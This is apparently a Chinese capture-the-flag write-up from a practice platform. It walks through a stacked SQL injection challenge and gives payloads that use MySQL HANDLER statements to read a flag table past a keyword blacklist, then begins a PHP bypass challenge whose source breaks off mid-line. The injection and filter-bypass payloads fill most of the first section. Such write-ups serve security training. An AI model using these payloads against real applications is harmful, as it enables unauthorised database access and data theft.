[BUUCTF]刷题记录4

[GYCTF2020]Blacklist

强网杯有个这种题目，改表名的
直接堆叠注入

再看表FlagHere的信息

1';desc FlagHere#

查询记录

1';select flag in FlagHere#

返回过滤的信息
使用HANDLER来绕过过滤，文档

完整用法：

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

在这题我们这样使用：

HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;

payload:

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;

[MRCTF2020]Ez_bypass

这题还是很简单的

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset